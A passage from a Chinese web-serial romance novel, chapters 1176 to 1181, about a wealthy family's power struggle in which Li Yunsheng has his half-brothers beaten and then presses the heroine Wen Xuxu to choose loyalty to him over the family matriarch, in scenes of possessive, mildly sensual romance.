这些年他像一柄悬在黎家上空的利剑,将整个家族牢牢攥在手心,偶尔连她这个老太太都得看他的脸色行事。 可温栩栩那丫头,说不定能成为撬动这把利剑的支点……她眯起眼,茶盏中的茶水渐渐凉了,映出她眼底深不可测的幽光。 黎远洋还在兀自盘算,指尖无意识地摩挲着领口那道淤痕。温栩栩那力道……真不像个女人。 他舌尖抵了抵后槽牙,脑海中浮现出她挣扎时泛红的耳尖,和那双含着泪却倔强的眼睛。 那副模样,倒比那些主动贴上来腻人的货色有趣多了。 他喉结滚动,下腹窜起一股燥热,仿佛已经嗅到她发间那股清冽的茉莉香。 等黎云笙一倒,定要让她知道什么叫“求生不得,求死不能”…… 厅堂内的气氛愈发凝滞,檀香在寂静中愈发浓稠。 黎老太太突然站起身,拐杖点地的声响惊醒了黎远洋。 她踱步至窗前,推开雕花木窗,暮色中的庭院映入眼帘,老槐树在风中沙沙作响,树影婆娑间,仿佛藏着无数双窥探的眼睛。她深吸一口气,苍老的声音带着不容置疑的决绝:“记住我的话,现在,别碰她。” 黎远洋喉头动了动,最终只能颓然垂头。他攥紧拳头,指甲深深掐进掌心,指节发白。 温栩栩迟早会落在他的掌心,早晚的事儿。 他舔了舔干裂的唇,眼底闪过一抹阴鸷的光。到时候,定要让她哭着求他,看她还怎么在他面前装模作样! 黎老太太背对着他,望着窗外渐深的暮色,唇角勾起一抹冷笑。 黎云笙啊黎云笙,你以为你真的能攥着整个黎家?你以为你能轻轻松松高枕无忧? 温栩栩这颗棋子,她可是要下在你最意想不到的地方…… 黎远洋在黎家老宅是待不住的,被黎老太太哄了这么一通,黎远洋心里已经没那么慌了。 因为在黎远洋眼里黎远航迟早会变成一个死人,离家的未来会是他们的。 半夜黎远洋就想溜出去约情人,可刚踏出黎家老宅朱漆大门,后背的冷汗还未干透,便听见身后传来急促的脚步声。 他本能地回头,眼前却骤然一黑,粗麻编织的袋子猛地罩下,浓重的霉味与灰尘呛入鼻腔。 他下意识挣扎,却被身后数人死死按住,膝盖窝遭受重击,整个人狼狈地跪倒在地。 “你们是谁?放开我!”他嘶吼着,声音在麻袋里闷闷作响。 回答他的是暴雨般的拳脚。 膝盖、肋骨、后腰……每一处都挨了重击,仿佛被铁锤反复碾压。 有人踹向他的肋骨,他听见骨头断裂的脆响,剧痛如电流般窜遍全身,喉咙里挤出痛苦的呜咽。 第1176章 套麻袋 麻袋外传来模糊的嗤笑:“远洋少爷,这滋味可好受?让你长长记性,别什么人都敢碰!那不是你能碰的起的!做事之前先看看自己配不配!”话音未落,又一脚狠狠踹在他侧腰,肋骨断裂处传来撕心裂肺的痛感,他整个人蜷缩成虾米,鲜血从嘴角渗出,在麻袋内晕开暗红。 不知过了多久,拳脚终于停下。 麻袋被粗暴掀开,黎远洋瘫软在潮湿的小巷,污水浸透西装裤腿。 他颤抖着抬头,只看见几个模糊的背影迅速消失在巷口。 暮色中,他挣扎着爬起,肋骨处每呼吸一次都如刀割,指尖触到后腰黏腻的液体。 是血。 他咬着牙,踉跄着往医院方向挪动,每一步都像踩在针尖上,冷汗浸透衬衫,意识逐渐模糊…… 再次睁眼时,消毒水的气味刺入鼻腔。 黎远洋躺在病床上,胸前缠着厚重的绷带,肋骨处被固定器紧紧勒住。 他尝试起身,剧痛却让他瞬间冷汗淋漓,只得颓然跌回枕间。 护士正在记录病历,声音平板:“黎先生,您右侧三根肋骨骨折,需静养至少一个月,切忌剧烈运动。” 他咬着牙,喉咙里挤出嘶哑的质问:“谁干的?” 护士却只瞥了他一眼,漠然道:“您自己招惹的人,自己不清楚吗?”话音落下,便推门离去,留下他独自在惨白病房里攥紧拳头,指甲深深掐进掌心。 正煎熬间,病房门再次被推开。 黎远洋抬眼,瞳孔猛地收缩。 黎远航被护士推着轮椅送进病房,两人竟被安排在同一间。 黎远航面色惨白如纸,整个人瘦得脱了形,仿佛被抽走了魂魄。 他垂着头,右手缠着厚重的石膏,绷带下隐约可见狰狞的缝合痕迹,像一条盘踞的蜈蚣爬在手腕上。 黎远洋喉头滚动,记忆中那个嚣张跋扈的哥哥,此刻竟像一株被风雨摧折的残荷,只剩下一副摇摇欲坠的躯壳。 黎远洋艰难地撑起上半身,目光死死盯着黎远航的手。 石膏边缘,几道暗红的疤痕如毒藤般蔓延,即便缝合精细,仍能看出当时伤口的深可见骨。 他想起黎老太太的话:“黎云笙的手腕……比你狠多了。”此刻亲眼所见,才真正体会到那份狠厉。 黎远航的右手被废,不仅断了骨头,肌腱也受损严重,未来能否恢复如初尚是未知。 他盯着那缠绕的绷带,喉咙发紧,竟一时说不出话来。 黎远航就是因为想要侵犯温栩栩,所以才被黎云笙这样猛烈的报复。 黎远航缓缓抬头,眼神空洞得骇人。 他望向黎远洋胸前的绷带,扯了扯嘴角,声音沙哑如砂纸:“肋骨断了?看来你比我更会惹祸。”黎远洋胸口憋闷,怒火与耻辱交织。 他咬着牙,声音带着不甘:“总好过你的手被废!黎云笙那疯子,他真下得去手!”黎远航却猛地一颤,瞳孔骤缩,仿佛被戳中了最痛的伤口。 他猛地低头,手指颤抖着攥紧轮椅扶手,石膏下的缝合处隐隐渗出血丝。 病房陷入死寂,只有监护仪规律的滴答声。 黎远洋盯着哥哥颤抖的背影,心中五味杂陈。 他攥紧被单,指甲掐出青白痕迹。 黎远航突然剧烈咳嗽起来,瘦削的肩膀佝偻着,仿佛要将肺都咳出来。 护士匆忙进来给他注射镇静剂,他这才缓缓平静,却已陷入半昏迷状态。 黎远洋凝视着他手背上凸起的青紫针孔,与腕间狰狞的缝合痕迹交叠,像一幅血腥的拼贴画。 他喉头滚动,想起自己曾嘲笑黎远航“活该”,此刻却如吞了黄连般苦涩。 黎家的权力漩涡中,他们兄弟不过是两枚被随意碾碎的棋子,而黎云笙,正站在漩涡中心,冷眼旁观。 窗外夜色渐深,病房里灯光惨白。 黎远洋望着天花板,肋骨处的疼痛如影随形。 他忽然意识到,自己那点风流荒唐在真正的权力碾压面前,脆弱得可笑。 黎远航的伤口,他的肋骨,都像无声的耳光,抽碎了他们兄弟最后的傲慢。 黎云笙……那个名字像一根刺扎进心里,他攥紧拳头,指甲深深掐进掌心,却只能听见自己沉重的呼吸声在寂静中回荡。 一直以来都是他自己太看得起自己了。 黎远洋躺在病床上,肋骨断裂处缠着厚重的绷带,每一次呼吸都牵动伤口,痛感如细密的针尖扎入骨髓。他望着天花板惨白的光,意识在疼痛与屈辱中浮沉。 明明自己只是私生子,却偏偏要跟黎云笙这样的嫡系血脉去比,这个念头如毒藤般缠绕心头,勒得他几乎窒息。 扪心自问,他不配,黎远航也不配。 这并非自轻自贱,而是刻在骨血里的认知。 黎云笙出生时,整个黎家老宅的灯笼都换成了朱红色,喜宴摆了三天三夜,宾客如云,连政商名流都亲临道贺。 而他们兄弟呢? 母亲被当作玩物养在外宅,他们出生时连一声啼哭都显得多余。 黎老太太虽将他们接回本家,却像对待两件瑕疵品,面上维持着体面,私下里连下人都敢在背后嗤笑“野种”。 这种根深蒂固的差距,岂是争强好胜就能抹平的? 简单点来说,黎云笙敢对他们动手,但他们却不敢真的反抗黎云笙。 因为在他们眼里,他们的地位是不对等的,他们是不配的不能的。黎云笙是翱翔在云端的金雕,他们不过是泥潭里的蝼蚁。 他可以随意碾碎他们,而他们连抬头反抗的勇气都没有。 就像这次肋骨断裂,幕后的人是谁? 黎远洋都不用多猜,除了黎云笙也没别的可能了。 他清楚得很,自己前脚在老太太面前编排温栩栩,后脚就遭了这顿毒打,黎云笙这是在警告他,动他的人,就要付出代价。 而他们可以动温栩栩,是因为温栩栩只是个孤女,无依无靠,像一片飘在风中的落叶。 黎远洋想起在老宅时,他故意用言语羞辱她,看她颤抖着却倔强地梗着脖子反驳,那双浸了墨般的眼眸里藏着不甘,却不敢真的撕破脸。这种拿捏弱小的快感,曾让他在空虚的内心找到一丝扭曲的满足。 第1177章 不配跟黎云笙比 黎云笙跟他们是不同了,黎云笙狠起来,手指全都能弄断。 黎远航的右手就是活生生的例证。 此刻黎远洋亲眼看到黎远航蜷缩在轮椅上,手腕缠着狰狞的绷带,缝合的针脚像蜈蚣爬过肌肤。 黎远航的眼神空洞得骇人,仿佛魂魄都被抽走了。他这才真正明白,黎云笙的狠厉远超想象,那是嫡系血脉与生俱来的权力,是私生子永远无法企及的、凌驾于一切之上的威严。 病房里消毒水的气味刺鼻,黎远洋的手指无意识地攥紧被单,指甲深深掐进掌心。 肋骨处的痛感愈发清晰,像有人用烧红的铁钳在骨缝间搅动。 他想起小时候,黎云笙被簇拥着接受家族长辈的祝福,而他只能缩在角落,看着母亲偷偷抹泪。 那时他尚年幼,不明白为何同样的血脉,待遇却天差地别。 后来长大了,他才懂,私生子的标签就像一道永远无法撕掉的烙印,将他钉在耻辱柱上。 黎老太太虽给了他黎家姓氏,却从未真正将他当作家族一份子。 在权力分配时,他永远被排在末尾;在家族会议中,他只能站在门边旁听。黎云笙一个冷眼扫来,他便要低下头,像一条被驯服的狗。 这种压抑的屈辱,日积月累,在他心里发酵成扭曲的嫉妒与不甘。 他试图用风流荒唐来麻痹自己,在外头拈花惹草,将那些主动贴上来的女人当作消遣的玩物。可每当夜深人静,他依然会想起黎云笙站在权力巅峰的身影,想起自己永远无法触及的嫡系地位。 他恨,却更怕。 黎云笙的手段太狠了,狠到他连反抗的念头都只能藏在最深处。 他知道,一旦真的触怒黎云笙,等待他们的不会是公平的对决,而是彻底的碾碎,就像这次暗巷的暴打,像黎远航被废的右手。 窗外夜色浓稠,病房里的灯光惨白如霜。 黎远洋缓缓松开攥紧的拳头,掌心已被掐出青白的痕迹。 他望着邻床的黎远航,他仍在昏睡,手背上的针孔泛着青紫,腕间的缝合痕迹在灯光下愈发可怖。 他们兄弟,终究是困在私生子身份里的囚徒,在黎家的权力漩涡中挣扎求生。 黎云笙是高高在上的主宰,而他们,不过是随时可能被牺牲的棋子。 这种血脉带来的枷锁,比任何铁链都更沉重,将他们锁在永恒的卑微里,连仰望的自由都成了奢望。 明明自己只是私生子,却偏偏要跟黎云笙这样的嫡系血脉去比。 扪心自问。 他不配,黎远航也不配。 简单点来说,黎云笙敢对他们动手,但他们却不敢真的反抗黎云笙,因为在他们眼里,他们的地位是不对等的事不配的。 他们可以动温栩栩,是因为温栩栩只是个孤女,但不会真的动到黎云笙的身上。 但黎云笙就不同了,黎云笙狠起来,手指全都能弄断。 他肋骨断了,幕后的人是谁? 黎远洋都不用多猜,除了黎云笙也没别的可能了。 黎远洋躺在病床上,肋骨断裂处缠着厚重的绷带,每一次呼吸都像被钝刀反复割裂。 消毒水的气味刺入鼻腔,监护仪的滴答声在寂静中格外清晰。 他望着惨白的天花板,冷汗浸透额角,眉头拧成死结。自己就像随时可以被黎云笙碾压的小玩意儿,甚至都没有能力站起来。 这个念头如毒藤般缠绕心头,勒得他几乎窒息。 反抗?如何反抗?黎云笙是翱翔在云端的金雕,而他不过是泥潭里的蝼蚁,连抬头对视的勇气都成了奢望。 他对温栩栩会有什么别的心思吗?黎远洋自嘲地扯了扯嘴角。 说白了,他跟黎远航一样,无非是见那女人长得好看,又顶着“黎云笙的人”这层身份,便生了猎奇之心。 在权力压抑的家族里,挑衅嫡系权威成了他们扭曲的消遣,仿佛只有践踏更弱小的人,才能证明自己尚存一丝尊严。 理论上,黎远洋一开始并不觉得黎云笙废掉黎远航的手是因为温栩栩,那听起来太荒谬了。 黎云笙在他眼里从来不是恋爱脑,冷血、狠厉、将家族利益置于一切之上,这才是他认知中的黎云笙。 可谁能想得到,这次竟然是真的! 黎云笙竟真的会为了个女人做到这种地步,将亲兄弟的手腕碾成碎片,仿佛碾死一只蚂蚁般随意。 黎远航半夜是被疼醒的,他面色惨白如纸,右手缠着狰狞的石膏绷带,缝合的针脚像蜈蚣爬过肌肤。 剧痛让他浑身颤抖,冷汗顺着鬓角滑落,却仍强撑着抬头看向黎远洋:“你又是因为什么被黎云笙弄进来的?”声音沙哑如砂纸,带着被碾碎后的虚弱与不甘。 黎远洋喉头滚动,屈辱与疼痛交织成苦涩的汁液。 他憋了半晌,才从齿缝间挤出声音:“因为招惹了温栩栩。” 话音未落,黎远航的眼睛猛地瞪大,瞳孔因震惊而收缩,看向黎远洋的眼神仿佛在看什么没有脑子的蠢货。 “因为招惹了温栩栩?”他重复着,声音带着难以置信的颤抖,“你去招惹了温栩栩?我因为温栩栩而被黎云笙弄断手指的事情没人跟你说吗,你还敢去招惹温栩栩?到底是我不清醒还是你疯了!你到底还有没有理智了!” 病房温度骤然降至冰点。 黎远洋胸口憋闷,怒火与耻辱在血管里沸腾。 他咬着牙,声音带着嘶哑的咆哮:“我一开始怎么知道黎云笙真的会因为一个女人对你动手的,谁能想到黎云笙会疯到这种地步,你最初不也没有想到吗!” 这话如利箭刺中黎远航,他猛地一颤,瞳孔骤缩,仿佛被戳中了最痛的伤口。 病房陷入死寂,只有监护仪规律的滴答声。 黎远洋攥紧被单,指甲深深掐进掌心。 他想起自己被打时的场景,麻袋罩头,拳脚如雨点落下,肋骨断裂的痛感如电流窜遍全身。 他们知道,这不过是黎云笙的警告,碾碎他们兄弟,如同碾碎两只妄图越界的蝼蚁。 第1178章 你做这些……好像是为了我啊 黎远航突然剧烈咳嗽起来,瘦削的肩膀佝偻着,仿佛要将肺都咳出来。 护士匆忙进来给他注射镇静剂,他这才缓缓平静,却已陷入半昏迷状态。 黎远洋凝视着他手背上凸起的青紫针孔,与腕间狰狞的缝合痕迹交叠,像一幅血腥的拼贴画。 “我们就像他养的狗。”黎远洋突然哑声开口,声音带着浓重的自嘲与恨意。 黎远航缓缓睁开眼,空洞的眼眸里泛起一丝苦涩的涟漪。 是啊,他们可以互相撕咬,可以对着温栩栩这样的弱者龇牙,但一旦触及黎云笙的底线,立刻会被铁链拽回,打得遍体鳞伤。这次黎云笙搞了这么一出,拿他们当鸡,杀鸡儆猴,背地里的那些魑魅魍魉确实不敢再轻易招惹温栩栩了。 但他们的尊严,也彻底被踩在了脚底。 窗外夜色浓稠如墨,病房里的灯光惨白如霜。黎远洋望着天花板,肋骨处的痛感如影随形。 他忽然意识到,自己那点风流荒唐在真正的权力碾压面前,脆弱得可笑。 黎远航的伤口,他的肋骨,都像无声的耳光,抽碎了他们兄弟最后的傲慢。 但恨的背面,是更深的恐惧与无力。他们就像被关在玻璃牢笼里的困兽,看得见外界的光,却永远无法触碰。 深夜,黎云笙书房里一盏台灯亮着,光晕笼罩着他冷峻的面容。 助理的电话在寂静中响起,他接通后,声音如淬了冰:“黎总,人已经进了医院,尊您的吩咐断了几根肋骨。” 黎云笙的指尖轻轻叩击桌面,嗓音低沉寒冷:“好,这件事就这样,另外……” 他顿了下,眼底掠过一丝狠厉,“黎远洋手中那两份合约也该变成废纸了。” 电话那头传来助理毫不犹豫的应答:“是,黎少。” 挂断电话后,他眸中的冷意仍未散去,仿佛能将空气冻结。 但当他目光落到床上熟睡的温栩栩身上时,那层寒冰竟悄然融化。 他伸出手,指尖抚过她脸颊的弧度,声音却令人有些悚然:“你只要乖乖的跟在我身边就好。” 他眼瞳幽深如墨,在夜色下愈发诡秘,仿佛藏着无数不为人知的漩涡。 次日清晨,温栩栩在昏沉中醒来,她试图翻身,却因肌肉僵硬的抗议而失败,只能蜷缩着打了个滚,喉间不自觉溢出轻微的呻吟声。 她抬手捂住眼睛,试图遮挡刺目的晨光,但腹部的咕咕声却愈发清晰,昨晚就没吃东西,此刻早已饿得前胸贴后背。 她摸索着墙壁,试图找到自己的衣服,可翻遍角落,也只看到散落在地的男士衬衫。 记忆如潮水般涌来,昨晚在车里,黎云笙将她抵在车窗上,嗓音低沉而霸道:“穿我的衬衫。”她面色霎时绯红,指尖攥紧衣角,不得已套上这件宽大的白衬衫。 布料上残留的男性气息萦绕鼻尖,她慌忙冲进浴室洗漱,冷水拍在脸上时,肩上那些暧昧的痕迹在镜中若隐若现,仿佛在无声宣告她的归属。 已是晌午时分,阳光透过落地窗洒进餐厅,桌上摆满了清粥小菜:虾仁粥、清炒时蔬、蒸蛋羹……都是清淡口味的饭菜。 她此刻确实没有胃口,只想吃些简单的东西。 男人坐在沙发上,手中翻阅着文件资料,听见声响,循声望去。 目光触及她身上那件白衬衫时,他眯了眯眸,瞳孔深处掠过一丝不易察觉的满意。 衬衫下摆堪堪遮住大腿,领口微敞,露出锁骨处昨夜留下的暗红印记。 他喉结微微滚动,声音却平静如常:“过来吃饭。” 温栩栩脚步顿了顿,指尖不自觉揪紧衬衫下摆。 她低着头,缓慢走向餐桌,每一步都像在丈量自己的不安。 黎云笙已起身拉开椅子,示意她坐下。 他盛了一碗粥递给她,动作竟带着几分温柔:“先喝点粥暖暖胃。”温栩栩抬头,撞进他深邃的眼眸,那里没有昨夜令人悚然的寒意,反而泛着某种令人心慌的专注。 她接过碗,指尖触到他温热的掌心,心跳骤然加快。 粥的香气扑鼻,她舀了一勺送入口中,虾仁的鲜甜与米的软糯在舌尖化开,暖意顺着食道蔓延至胃部,驱散了些许寒意。 黎云笙静静看着她进食,目光如丝线般缠绕。 突然,他伸手抚上她颈侧,指尖摩挲着某处痕迹,声音低沉:“疼吗?” 他昨晚在她颈侧咬了一口,其实力气并不大,但这样抚摸这里还是让温栩栩有些敏感的觉得浑身发麻。 温栩栩浑身一震,勺子险些掉落。 她慌忙摇头,耳尖却已红透:“不……不疼。” 温栩栩随意塞了几口菜,有了点饱腹感后,这才偷偷抬眼朝男人看去。正对上黎云笙那双漆黑幽深的眼眸,眼底再没了冷意,像是被春水浸润过般有了温度。 他凝视着她的目光,仿佛要将她整个人包裹其中,温栩栩有那么一瞬被他的容颜勾去了魂,他轮廓冷峻如刀削,眉眼间却透着一种难以言喻的深邃,仿佛藏着无数不为人知的秘密。 回过神后,她深吸一口气,指尖无意识地绞着衣角。 黎云笙似乎被她这小心翼翼的举动取悦了,嘴角微微上扬,连带着周身那股令人窒息的压迫感都淡了几分。 温栩栩有些不自然地咬了口点心,点心酥软的口感在舌尖化开,她却食不知味,心里像是被猫爪挠过般痒痒的。 犹豫片刻,她终于开口:“老夫人说你弄断了黎远航的十根手指?” 话音落下,餐厅里的空气仿佛瞬间凝固。 黎云笙的眼眸倏地眯起,目光如鹰隼般锁住她,声音低沉带着一丝危险的戏谑:“你怕了?” 怕?怕什么?怕黎云笙吗? 温栩栩听到这话的一瞬间,心底竟涌起一股莫名的勇气,甚至想笑。 她抬头直视他的眼睛,眼底闪烁着几分挑衅与坦然:“我有什么可怕的,你做这些……好像是为了我啊。” 说罢,她忽然伸手拿起一颗鲜红的草莓,指尖捏着草莓的茎,轻轻喂到他嘴边,像是要用行动证明自己的无畏,又像是刻意撩拨。 第1179章 你该学会如何做选择 黎云笙的瞳孔骤然收缩,他凝视着那颗近在咫尺的草莓,以及她指尖的纤细白嫩,喉结不自觉地滚动了一下。 温栩栩的指尖微微颤抖,心跳如擂鼓,她几乎能感受到他灼热的呼吸喷在自己掌心。 他并未立即张口,而是伸出手臂,猛然将她拦腰抱进怀里。 温栩栩猝不及防,惊呼一声,身体已跌入他坚实的胸膛。 他手臂圈紧她细嫩的腰身,力度大得仿佛要将她揉进骨血,低沉的笑声在她耳畔响起:“既然不怕,那就证明给我看。”温栩栩的脸颊瞬间涨红,她能清晰感受到他胸膛传来的心跳,与他身上那股清冽的雪松气息交织在一起,令人头晕目眩。 她挣扎着想要起身,却被黎云笙扣得更紧。 他低下头,就着她指尖的姿势,咬住了那颗草莓。 果肉在唇齿间爆开,甜腻的汁液顺着舌尖蔓延,他舌尖有意无意地扫过她的指尖,温栩栩浑身如遭电击,指尖猛地缩回,却被他一把抓住。 “这么急着缩回去?”他声音沙哑,带着浓烈的占有欲,指尖沿着她掌心的纹路缓缓摩挲,“还是说,你其实很享受这种游戏?” 温栩栩的心跳几乎失控,她咬住下唇,强装镇定:“你弄疼我了。” 黎云笙轻笑一声,松开了她的手,却并未放开怀抱。他将她调整姿势,让她侧坐在自己腿上,下巴抵在她肩头,温热的呼吸拂过她耳畔:“疼吗?我怎么觉得你好像还有点喜欢?”他语气轻描淡写,温栩栩耳朵尖却更红了。 硬要这么说的话,那确实是有点点喜欢的。 她转头看向他,试图从他眼底读出情绪,却只看到一片幽深的黑。 温栩栩看着他,好半晌从这旖旎中回过神开口问道:“你为什么要这么做?”她终于问出心底的疑问。 她问的是为什么要弄断黎远航的手指。 黎云笙的指尖沿着她锁骨处的痕迹缓缓游走,声音低沉如蛊:“因为他碰了你,不该碰的东西。”温栩栩浑身一震,一种难以言喻的情绪在胸腔翻涌。 她忽然意识到,自己早已成为这场权力博弈中的棋子,黎云笙的占有欲如一张无形的网,将她牢牢困在其中。 可她竟然完全不讨厌这种感觉,甚至是很喜欢这种感觉。 她抬头,目光落在他喉结上,忽然鬼使神差地伸手抚了上去,指尖轻轻摩挲:“那我又算什么呢?你的囚徒,还是……”她停顿,指尖用力按了按,黎云笙闷哼一声,眼底泛起危险的红,“你的所有物?” 黎云笙猛地扣住她的手腕,将她压在沙发上,身体覆了上去。 他眼底的温柔彻底被欲望取代,声音沙哑:“你说呢?”他的吻如暴雨般落下,温栩栩挣扎着,却被他更紧地禁锢在怀里。 她忽然不再反抗,闭上眼,任由他的气息将自己淹没。 在这暧昧与危险交织的囚笼里,她知道自己早已无路可退。 窗外阳光依旧明媚,餐厅里的暧昧气息却愈发浓重。温栩栩的衬衫领口在挣扎中微微敞开,锁骨处的痕迹在阳光下泛着暗红,仿佛无声的烙印。 黎云笙的吻从唇瓣移至颈侧,温热的呼吸喷在她耳畔:“记住,你是我的,永远都是。” 温栩栩的心跳如擂鼓,她睁开眼,望着他近在咫尺的容颜,忽然轻笑一声:“那如果我不想呢?” 黎云笙的动作一顿,他松开对她的禁锢,坐直身体,指尖抚上她红肿的唇瓣:“你会想清楚的。” 温栩栩看着他,眼底闪烁几许复杂。 温栩栩默了半晌,终究还是开口:“谢谢你帮我。”声音轻得仿佛随时会被空气吞没。 黎云笙却并未如她预想般回应,而是饱含深意地凝视着她,目光如潭水般幽深难测。 他缓缓倾身,指尖轻轻叩击桌面,声音低沉而带着某种压迫感:“我想这种事,你应该不用向我道谢。”他停顿片刻,语气陡然转冷,“另外……现在我们有一件事还没有解决。”温栩栩的心猛地提到嗓子眼,后背渗出细密的冷汗。 她望着他,喉头微动,却发不出声音。 “你跟老夫人聊了什么。”黎云笙开口询问,语气平静得令人心惊。 温栩栩的呼吸一滞,手指不自觉攥紧。 她知道,黎云笙的掌控欲如一张无形的网,任何风吹草动都逃不过他的耳目。 她强装镇定,试图转移话题:“我觉得我们还有些事情需要处理……” 话未说完,便被黎云笙冷声打断:“比如?”他挑眉,仿佛已看穿她的逃避。 温栩栩深吸一口气,抬眼直视他,眼底闪烁着复杂的光芒。她知道自己必须直面这个问题,否则只会让局面更糟。 她斟酌着措辞,声音带着一丝试探:“你会好好对我吗?”这个问题问出口的瞬间,她自己都愣住了。 这算什么? 试探,还是乞求? 她不清楚,只是内心深处有种莫名的不安在翻涌。 温栩栩在权衡利弊。 黎老太太是个心思深沉的人,她还能看懂黎老太太想要什么,权力、地位、家族的稳固。 可黎云笙不同,他像一团迷雾,让人看不见天光。 他的情绪如翻书般瞬息万变,温柔与冷酷交织,占有欲与控制欲如影随形。她感觉自己仿佛被困在一座没有出口的迷宫里,每一步都踩在刀刃上。 她不想选择黎老太太,但前提是黎云笙是不是真的能靠得住? 黎云笙的沉默让空气愈发凝固。 他盯着她,仿佛在审视一件猎物,又像是在确认某种答案。 终于,他缓缓开口,声音沙哑而带着不容置疑的笃定:“在我眼里,你是我的人,这一点从未改变。”他忽然起身,一步步逼近她,每一步都带着强烈的压迫感。 温栩栩下意识后退,后背抵在冰冷的墙壁上,退无可退。 他伸出手,指尖抚上她的脸颊,缓缓摩挲,语气却愈发冰冷:“你该学会如何做选择。” 第1180章 你的答案只能是我 温栩栩的心跳如擂鼓,她能感受到他指尖的温度,却也能感受到他眼底的寒意。 她吞咽了一下,喉头干涩:“选择……什么?”黎云笙轻笑一声,笑声却带着彻骨的冷意:“选择忠于谁。” 他忽然低头,凑近她的耳畔,温热的呼吸喷在她敏感的耳垂上,声音低沉如蛊:“记住,你的答案只能是我。” 温栩栩浑身一震,一种难以言喻的情绪在胸腔翻涌。她抬头,目光落在他深邃的眼眸中,试图寻找一丝真实的温度,却只看到一片幽深的黑。 她咬住下唇,强装镇定:“如果我不想选呢?”黎云笙的动作一顿,却最终化作一声叹息。 他松开对她的禁锢,坐直身体,指尖抚上她锁骨处的痕迹,声音低沉如夜:“你会选的。”他语气平静,却字字如刀,仿佛已看透她的所有挣扎。 他忽然伸手,将她揽入怀中,声音沙哑:“记住,你是我的,永远都是。”温栩栩的心跳如擂鼓,她闭上眼,任由他的气息将自己淹没。 温栩栩的指尖无意识地绞着衣角,喉头微动,终于吐出那句挣扎已久的话:“我好像还不算是你的人。” 话音落下,空气仿佛瞬间凝固。黎云笙的眸光微深,瞳孔深处泛起一丝不易察觉的波动。 他盯了她半晌,声音幽然,仿佛裹挟着深海暗流:“她承诺给你什么。”温栩栩不言,垂眸避开他的视线,心跳却如擂鼓。 这两人之间果然是互相对立剑拔弩张的状态。 她清楚,他早知道黎老太太将她叫去密谈,却未阻拦,一切不过是等待此刻摊牌的契机。 他忽然倾身逼近,指尖轻轻叩击桌面,声音低沉如蛊:“温栩栩,黎太太的身份够不够?我给的,肯定比她给你的要多很多。你想要的我自然都会给你。” 温栩栩的心猛地一颤,后背渗出细密的冷汗。 她抬头,正撞进他漆黑深邃的眼眸,那里面翻涌着欲望与掌控的暗潮,却又夹杂着一丝她看不懂的灼热。 她不知道该说些什么,喉咙干涩得发疼。黎云笙却突然轻微地笑了一声,笑声里带着几分戏谑与笃定,仿佛早已看穿她所有伪装。 他忽然伸手,指尖抚上她锁骨处的痕迹,缓缓摩挲:“你要不要猜一猜,她在那手链中放了什么。” 他突然就提到黎老太太命令老管家给她戴上的钻石手链。 温栩栩的呼吸一滞,指尖不自觉攥紧。 她当然猜得到有什么,无非是窃听器或者追踪器定位装置,为了“合理”地控制她的棋子。 但她此刻没有开口,黎云笙的眉头略微皱起,目光如鹰隼般锁住她,声音带着几分危险的探究:“为什么我觉得你有些敷衍。” 温栩栩的心跳几乎失控,她吞咽了一下,喉头干涩。 其实并不是敷衍,只是此刻不知道该说什么。 她深吸一口气,压下内心的慌乱,声音带着一丝颤抖:“不……我是太害怕了,一时之间不知道该是什么反应。” 这样也说得过去。 黎云笙凝视着她,黑眸沉下去,眼底再度泛起那明显的冷意,没了她方才瞧着的温柔。但温栩栩知道,这样的冷意并非针对她,它像一柄利刃,直指黎老太太,那个在幕后操纵一切的女人。 是的,黎云笙是厌恶黎老太太的,这一点她早已察觉。 他忽然松开对她的禁锢,坐直身体,指尖抚上她锁骨处的痕迹,声音低沉如夜:“是跟这样的人纠缠到一起,还是做我的人……你该知道怎么选择。” 温栩栩浑身一震,一种难以言喻的情绪在胸腔翻涌。她抬头,目光落在他深邃的眼眸中,试图寻找一丝真实的温度,却只看到一片幽深的黑。 他忽然伸手,将她揽入怀中,声音沙哑:“温栩栩,我们才是一条船上的人,我不会害你。” 窗外的阳光斜照进来,在他轮廓冷峻的侧脸镀上一层金边。温栩栩的心跳如擂鼓,她闭上眼,任由他的气息将自己淹没。 在这暧昧与危险交织的囚笼里,她知道自己早已无路可退。 黎云笙的目光从未从温栩栩身上移开,仿佛要将她整个人看穿。 他凝视着她微微颤抖的睫毛,指尖轻轻抚过她脸颊的弧度,声音低沉带着一丝蛊惑:“告诉我,你想要什么。”温栩栩的呼吸一滞,她能感受到他胸膛传来的心跳,与他身上那股清冽的雪松气息交织在一起,令人头晕目眩。 她咬住下唇,强装镇定:“自由。” 黎云笙轻笑一声,笑声却带着彻骨的冷意:“在我身边,你会有比自由更珍贵的东西。”他忽然低头,吻落在她颈侧,温热的呼吸拂过她敏感的耳垂:“比如……我。” 温栩栩浑身如遭电击,指尖猛地缩回,却被他一把抓住。 他将她调整姿势,让她侧坐在自己腿上,手臂圈紧她细嫩的腰身,力度大得仿佛要将她揉进骨血。 她挣扎着想要起身,却被黎云笙扣得更紧。 他低下头,就着她唇瓣的弧度,吻如暴雨般落下。温栩栩的挣扎逐渐软化,她闭上眼,任由他的气息将自己淹没。 窗外的风轻轻拂过,窗帘摇曳,室内光影交错。 黎云笙的吻从唇瓣移至颈侧,温热的呼吸喷在她耳畔:“记住,你是我的,永远都是。” 温栩栩的心跳如擂鼓,她睁开眼,望着他近在咫尺的容颜,忽然轻笑一声:“那如果我不想呢?” 黎云笙的动作一顿,眼底掠过一丝狠厉,却最终化作一声叹息。 他松开对她的禁锢,坐直身体,指尖抚上她锁骨处的痕迹,声音低沉如夜:“你会想的。” 他忽然伸手,将她揽入怀中,声音沙哑:“跟我合作,我会让你得到你想要的一切。” 温栩栩的心跳漏了一拍,她抬头,目光落在他喉结上,忽然鬼使神差地伸手抚了上去,指尖轻轻摩挲:“那我要如何相信你?” 第1181章 就是想赚钱 温栩栩望着黎云笙近在咫尺的眉眼,喉头微动,那些深埋心底的思绪如潮水般翻涌。 幼年时期的记忆碎片突然清晰起来,那时的她总爱趴在窗边,想象自己未来的模样。 她坚信,长大后一定要嫁给一个彼此相爱、会对自己好的男人。 那时的世界在她眼中是纯粹而美好的,仿佛只要相爱,就能感动天地,连时间都会为真挚的情感驻足。 她中二病般地认为,婚姻是幸福的终点站,是童话里王子和公主从此过上幸福生活的现实版本。 可后来发生的一切,却像一柄利刃,狠狠劈开了她天真的幻想。 她还记得,初入中学时,校园里那些看似光鲜的少女们,在转角处对弱势同学冷嘲热讽、推搡欺辱的模样,也记得那些曾被她视为“模范男友”的男性朋友,在酒吧里得意洋洋地炫耀自己同时交往多个女友,将感情当作游戏筹码时的丑恶嘴脸。 